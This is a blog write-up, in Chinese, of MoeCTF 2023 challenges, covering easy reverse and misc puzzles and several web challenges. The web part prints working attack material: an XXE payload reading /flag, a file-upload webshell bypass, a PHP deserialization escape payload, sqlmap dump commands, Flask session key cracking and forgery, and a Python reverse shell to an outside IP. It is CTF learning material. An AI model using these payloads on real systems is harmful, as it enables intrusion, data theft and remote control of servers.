MoeCTF 2023 部分write up

前言

比赛结束了,终于可以放出来了,当日记记录一下吧,主要是做web,后续一些题目做的也是磕磕碰碰,好在有朋友相助,边做边问,还是做出来了

签到题

hello CTFer

给了个url,直接打开就有flag


然后提交就完了

Basic

CCCCC

给了一个C程序的代码

代码中直接写了flag,运行之后一样能得到结果,这个代码是个解密的过程,密文为mng`pc}OIAKTOR?|Ots`m4k,然后用一个for循环,对它进行递增的异或运算

Python

题目所给代码为

enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]  
x=lambda x:x^0xff  
enc2=[]  
for i in enc1:  
  enc2.append(x(i))  
key="moectf2023"  
flag=""  
for i in range(len(enc2)):  
    flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))  
print(flag)

也是涉及到异或运算,但最后得到flag,进行的是位或运算

runme

给了一个可执行文件,但是直接运行会闪退,题目说了用cmd运行,运行后得结果

runme2

要用linux系统,那一样的操作属于是

MISC

misc入门指北

给了一个pdf文档,下载后,文末有个字符串,条件反射base64

解码得到

moectf{h@v3_fun_@t_m15c_!}

WEB

http

下载一个叫WSRX的客户端连接一下开环境以后给的地址


然后访问localhost:64824

然后就是完成这些任务,1、2有手就行

5就是将ua头的值换成MoeBrowser就行


3是将cookie中的character的值改为admin就行


4是在数据包添加一个字段

X-Forwarded-For: 127.0.0.1

然后所有任务完成,flag就出了

web入门指北

题目显示要解码得flag

先把附件下载下来看看,解压完是个pdf文档

文档最后发现了一组神秘数字,要解码的应该就是这个了

一眼十六进制,那就转字符一下,写个脚本

original_hex_string = "66 6c 61 67 3d 62 57 39 6c 59 33 52 6d 65 33 63 7a 62 45 4e 76 62 57 56 66 56 47 39 66 62 57 39 6c 51 31 52 47 58 31 63 79 59 6c 39 6a 61 47 46 73 62 47 56 75 5a 30 55 68 49 58 30 3d"  
  
# 将空格移除,并将十六进制字符串转换为字节序列  
hex_bytes = bytes.fromhex(original_hex_string.replace(" ", ""))  
  
# 将字节序列转换为普通字符串  
original_string = hex_bytes.decode("utf-8")  
  
# 将字符串中的空格替换为 %replaced_string = original_string.replace(" ", "%")  
  
print(replaced_string)

结果是个base64编码的字符,看来没有一步出啊

转换后得flag

彼岸的flag

开环境以后,用wsrx连一下,然后访问得到一个聊条记录

然后看源码找就行,一开始搜flag没搜到,就想着搜下ctf,然后就出货了

cookie

下载附件后,解压得到一个文档


开环境之后,直接访问/flag,嗯,确实不可能这么简单,直接就给

那就先注册
先访问/register,然后抓包换成POST类型,然后提交

{
    "username":"lan1oc",
    "password":"admin123"
}

然后再登录(按照下载的附件操作就行了),然后访问/flag

然后注意到响应中的token是个base64编码的字符串,解码后得到(之前没注意到,就重新注册了然后一顿乱操作才注意到)

那就将user改成admin就行了,然后构造的cookie替换访问/flag的请求包中的token就有flag了

gas!gas!gas!

感觉像一个游戏

测试了一下,如果没有时间限制,很容易就能通过要求,但是限制了0.5s,那就写个脚本(实际是找大佬要了)

import requests  
from time import sleep  
import bs4  
  
url = "http://localhost:63283/"  
  
session = requests.session()  
  
  
def req(driver, steering_control, throttle):  
    data = {  
        "driver": driver,  # 选手  
        "steering_control": steering_control,  # 方向  
        "throttle": throttle  # 油门  
    }  
    resp = session.post(url, data=data)  
    return resp.text  
  
  
def tq(text):  
    bs4_text = bs4.BeautifulSoup(text, "html.parser").find("h3").text  
    print(bs4_text)  
    return bs4_text  
  
  
def pd(text):  
    if "失误" in text:  
        return False, False  
    if "向右" in text:  
        steering_control = -1  
    elif "直行" in text:  
        steering_control = 0  
    elif "向左" in text:  
        steering_control = 1  
    if "太小" in text:  
        throttle = 0  
    elif "保持" in text:  
        throttle = 1  
    elif "太大" in text:  
        throttle = 2  
    return steering_control, throttle  
  
  
def main():  
    steering_control = 1  
    throttle = -1  
    count = 0  
    for i in range(7):  
        count+=1  
        text = req(666666, steering_control, throttle)  
        if "完美" in text:  
            print(text)  
            return 0  
        a, b = pd(tq(text))  
        if a is False:  
            return 0  
        # print(a,b)  
        steering_control, throttle = a, b  
        print(count)  
    session.close()  
  
  
if __name__ == '__main__':  
    main()

脚本跑一下就出来了

moe图床

开环境看到是一个上传的界面

看前端元素发现,只能上传png格式的图片

审了下源码看到有个upload.php,蛮访问下,看到了上传的源码

主要是要绕开png验证就行,可以看到它是以.分割文件名,然后检测第二部分是不是png,那就将马子改成.png.php就能绕过验证了

然后访问返回的路径rce,成功

然后emmm环境断了,没事继续,rce好像没成功(那看来后续连蚁剑找到,而rce没成功是因为连接断了的问题),连蚁剑看看,在根目录找到flag

了解你的座驾

明确说在根目录了,那等等到那一步了应该找起来更容易了(?)

开环境后访问,是这样一个界面

选最后一个,然后看到了这。。。🤔

审了下源码,应该是考xxe,然后也说了flag在根目录

那就构建一个触发代码

<?xml version='1.0'?>
<!DOCTYPE a [
    <!ENTITY % hack SYSTEM "php://filter/convert.base64-encode/resource=file:///flag">
	%hack;
]>
<xml>
    <name>%hack;</name>
</xml>

然后得到一串base64编码的字符

但是解码结果很怪,所以还得继续找(问会选择哪个🤔)

moectf{Which_one_You've_Chosen?SkTaNRo_Z5LzERd8ACHT5QmANJtwm

后来问了朋友,告诉我要嵌套一下,不能直接引入读文件的外部实体,所以payload改为

<?xml version='1.0'?>
<!DOCTYPE a [
    <!ENTITY % hack SYSTEM "data:text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAiZmlsZTovLy9mbGFnIj48IUVOVElUWSAlIHRlc3QgU1lTVEVNICVmaWxlOz4=">
	%hack;
]>
<xml>
    <name>%hack;</name>
</xml>

大海捞针

题目给了环境地址,打开后是要爆破

那爆破以后发现有个长度很突出的,达到2035,然后在响应里搜索了一下就找到了

meo图床

开环境后,跟moe图床那题一样也是一个标准上传页面,看看源码

比moe那道题的少了很多,先做些测试,发现了限制

这次用.png.php绕过不了了🤔

加个图片头就能绕过了

那传个php文件,也是上传成功

但访问后显示,好像还是没有解析成php文件

确实,从响应中看到,类型是png图片了

然后想着它这个文件名给我加了个随机数,我就直接访问上传的1.php,然后发现了file_get_contents(),那就试试文件读取,猜flag在根目录

果然,找到了线索,给了flag文件名

嗯然后没找到,直接访问看到了源码

看来是要进行md5碰撞,用数组做,然后出了flag

http://localhost:57189/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=collision&param2[]=alohomora

夺命十三枪

开环境,然后直接就能看到源码

发现有个Hanxin.exe.php,访问后得到源码

<?php  
  
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {  
    highlight_file(__FILE__);  
}  
  
class Deadly_Thirteen_Spears{  
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(  
        "di_yi_qiang" => "Lovesickness",  
        "di_er_qiang" => "Heartbreak",  
        "di_san_qiang" => "Blind_Dragon",  
        "di_si_qiang" => "Romantic_charm",  
        "di_wu_qiang" => "Peerless",  
        "di_liu_qiang" => "White_Dragon",  
        "di_qi_qiang" => "Penetrating_Gaze",  
        "di_ba_qiang" => "Kunpeng",  
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",  
        "di_shi_qiang" => "Overlord",  
        "di_shi_yi_qiang" => "Letting_Go",  
        "di_shi_er_qiang" => "Decisive_Victory",  
        "di_shi_san_qiang" => "Unrepentant_Lethality"  
    );  
  
    public static function Make_a_Move($move){  
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){  
            $move = str_replace($index, $movement, $move);  
        }  
        return $move;  
    }  
}  
  
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{  
  
    public $Chant = '';  
    public $Spear_Owner = 'Nobody';  
  
    function __construct($chant){  
        $this->Chant = $chant;  
        $this->Spear_Owner = 'Nobody';  
    }  
  
    function __toString(){  
        if($this->Spear_Owner !== 'MaoLei'){  
            return 'Far away from COOL...';  
        }  
        else{  
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');  
        }  
    }  
}  
  
?>

ok,看来这题应该是考反序列化🤔,在Deadly_Thirteen_SpearsMake_a_Move方法中有str_replace()函数,那就明了了,要字符串逃逸,跟flag有关的是Omg_It_Is_So_Cool_Bring_Me_My_Flag__toString方法,这个不用管,因为在题目源码里有执行了,不需要我们去看这个魔术方法,跑出flag的条件是$this->Spear_Owner == 'MaoLei',那目的就有了:利用逃逸将Spear_Owner的值改为MaoLei
那么先本地测一下,随便输入一个值得到想要的反序列化字符串
测试:

<?php  
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{  
  
    public $Chant = '';  
    public $Spear_Owner = 'MaoLei';  
  
    function __construct($chant){  
        $this->Chant = $chant;  
        $this->Spear_Owner = 'MaoLei';  
    }  
  
    function __toString(){  
        if($this->Spear_Owner !== 'MaoLei'){  
            return 'Far away from COOL...';  
        }  
        else{  
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');  
        }  
    }  
}  
$a= new Omg_It_Is_So_Cool_Bring_Me_My_Flag(1);  
echo serialize($a)  
?>

跑出来的结果是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";i:1;s:11:"Spear_Owner";s:6:"MaoLei";}
这其中只有

s:11:"Spear_Owner";s:6:"MaoLei";}

是我们想要的,这一共有33个字符,但是逃逸的时候,我们需要闭合前面的东西,所以要添加";,那一共就是35个字符,也就是

";s:11:"Spear_Owner";s:6:"MaoLei";}

然后就是看到这个

public static function Make_a_Move($move){  
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){            $move = str_replace($index, $movement, $move);  
        }  
        return $move;  
    }

这里的$move就相当于题目源码里的$Chant,它的值是我们传入get参数值,然后这一段呢,会把$Chant里的$index$movement替换,$index => $movement就跟数组$Top_Secret_Long_Spear_Techniques_Manual里的值一样,$index就是数组里的索引,$movement是与索引关联的值,这样变量搞清楚,就是明确目标
要找值比索引多一个字符的那个组合,也就是"di_yi_qiang" => "Lovesickness",多一个是因为是用值替换索引,要逃逸的字符是35个,那就要刚好多出35个字符达到这个效果
那payload也可以构建了,因为di_yi_qiang会被Lovesickness替换,每替换一次就多一个字符,那替换35次就行了,所以

?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

signin

题目给了附件,是网站源码,这个先放着,打开网页,是个登录界面,并告诉我们默认账号密码是admin:admin,先登录看看
抓包发现发送的数据是这样的

{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVEQlZiVEV3WVZaWmVXVkVSbFJXTW5kNldWWmtUMU5HU25WalIzQk9UV3hKZVZkVVNYaFZiVVpXVDFoQ1ZHSlhhR2hWYm5CSFpERnNkR0pGZEZCVlZEQTU="}

将它解码以后(base64五次,源码里有展示编码方式)得到

{"username":"admin","password":"admin"}

先试着发包看看
回显为

HTTP/1.0 403 Forbidden
Server: BaseHTTP/0.6 Python/3.11.4
Date: Sat, 30 Sep 2023 05:45:48 GMT

YOU CANNOT LOGIN AS ADMIN!

然后联系到源码中,找到了过滤条件

if params.get("username") == "admin":  
    self.send_response(403)  
    self.end_headers()  
    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")  
    print("admin")  
    return  
if params.get("username") == params.get("password"):  
    self.send_response(403)  
    self.end_headers()  
    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")  
    print("same")  
    return

username的值不能为adminpassword不能和username相同,这里想到或许可以去引号的方式绕过,即以下格式构造

{"username":"admin","password":admin}

然后直接这样编码后提交,就引发了异常
![[Pasted image 20230930135505.png]]
然后就是猜出来了,看到一个看不懂的代码

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

写了一大串,应该是对代码中的十六进制数进行异或运算,然后将结果返回表示整数的字节数组,并删除其中的空字符,然后就不懂了,但是看到了signed=True就想到了1,然后就想着用1去登录
构造,然后base64编码五次

{"username":"1","password":1}

提交之后就出结果了

出去旅游的心海

一开始没啥思路,然后就是看源码,也没找到什么,然后想着看看这个站有啥
然后这个文章引起注意(数据库三个字)

并且旁边有个

然后就尝试找这个文件,因为这一般属于博客的插件什么的,结果源码里没显示

蛮看看网络里的东西,看看是否会请求这个文件,然后找到了一个logger.php,访问http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php就看到了源码(/wp-content/plugins说明果然是插件)

<?php  
/*  
Plugin Name: Visitor auto recorder  
Description: Automatically record visitor's identification, still in development, do not use in industry environment!  
Author: KoKoMi  
  Still in development! :)  
*/  
  
// 不许偷看!这些代码我还在调试呢!  
highlight_file(__FILE__);  
  
// 加载数据库配置,暂时用硬编码绝对路径  
require_once('/var/www/html/wordpress/' . 'wp-config.php');  
  
$db_user = DB_USER; // 数据库用户名  
$db_password = DB_PASSWORD; // 数据库密码  
$db_name = DB_NAME; // 数据库名称  
$db_host = DB_HOST; // 数据库主机  
  
// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下  
// 这些是临时的代码  
  
$ip = $_POST['ip'];  
$user_agent = $_POST['user_agent'];  
$time = stripslashes($_POST['time']);  
  
$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);  
  
// 检查连接是否成功  
if ($mysqli->connect_errno) {  
    echo '数据库连接失败: ' . $mysqli->connect_error;  
    exit();  
}  
  
$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";  
  
// 执行插入  
$result = mysqli_query($mysqli, $query);  
  
// 检查插入是否成功  
if ($result) {  
    echo '数据插入成功';  
} else {  
    echo '数据插入失败: ' . mysqli_error($mysqli);  
}  
  
// 关闭数据库连接  
mysqli_close($mysqli);  
  
//gpt真好用

源码显示接收三个post参数ipuser_agenttime
那这种一看就是可以用sqlmap的,蛮跑下
先发个包看看

ip=1&user_agent=2&time=3

然后回显

那应该是time存在注入了,把这个包文保存下来然后注入了

python sqlmap.py -r "1.txt"

或者直接指定字段

python sqlmap.py -r "1.txt" -p time

ok注进去了,可以看到是时间盲注

接下来就是爆库爆表然后读数据了

python sqlmap.py -r "1.txt" --dbs

python sqlmap.py -r "1.txt" -D wordpress --tables

python sqlmap.py -r "1.txt" -D wordpress -T secret_of_kokomi --dump

moeworld

ok 是渗透题
题目目标是:

本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag

题目环境:http://47.115.201.35:8000/

在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!**

**注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**

hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取

环境出现问题,请第一时间联系出题人**xlccccc**

对题目有疑问,也可随时询问出题人

然后目标网站是这样

登录进去是这样

应该是要伪造session吧,明说了使用强且随机的字符串作为session的密钥。 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
先抓包看看cookie,解码后是这样

{"power":"guest","user":"lan1oc"}.eÐTw.š¼" ³]Ü4ùîVÞ#V̯„Pcw

权限是guest,那肯定是要改成admin,然后就是要爆破secret_key,由os.urandom(2).hex()可知是个四位的随机数,那就简单爆破一下,先生成字典

import os
with open('dict.txt','w') as f:
	for i in range(1,10000):#范围自己调,我是调到1000000才爆破出来
		a="This-random-secretKey-you-can't-get" + os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))

然后就需要用到一个工具Flask-Unsign

flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ" --wordlist dict.txt


得到密钥之后就用flask-session-cookie-manager来伪造session
先测试密钥看看对不对(就是解密以下coockie)

python flask_session_cookie_manager3.py decode -s This-random-secretKey-you-can't-get1551 -c eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ


然后就是伪造session了

python flask_session_cookie_manager3.py encode -s 'This-random-secretKey-you-can't-get1551' -t "{'power': 'admin', 'user': 'lan1oc'}"


然后就是替换cookie登录,就会发现多了个留言泄露了console的pin

然后扫目录扫了下,得到console页面的url

然后就是反弹shell了,也可以用一个网站来生成命令反弹shell命令生成器
因为是python的console,所以找python代码类型的

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.220.81.169",404));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

然后shell就弹过来了🎉🎊🎉

然后在根目录找到一个flag文件,但是读取后发现只有一半

然后联想到题目要求那到外网靶机shell要看readme
得到

$ cat readme
cat readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人$

好家伙,还要内网渗透了😭,那就先看看内网ip

hostname -i


先扫了172.20.0.4

结果为

172.20.0.1:21 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.4:8080 open
172.20.0.1:22 open
172.20.0.1:888 open
172.20.0.1:7777 open
[*] alive ports len is: 10

再扫172.21.0.3

因为readme中说了,忽略*.*.*.1的所有结果,所以这个扫描应该没什么用,主要看172.20.0.4的结果,然后从大到小排列,密码为

22-3306-6379-8080

成功解压hint压缩包,然后将它改成txt后缀就能看到其中内容

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

看来flag是三段的,还有两段要找😑,接下来的内网穿透就不会了,开摆😋

结语

题都算基础,最后的渗透题算是要知识面要拓宽吧,我就是知识面太窄,束手束脚了,然后基础也不行,所以web总体做的还是有点磕磕绊绊的😔

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值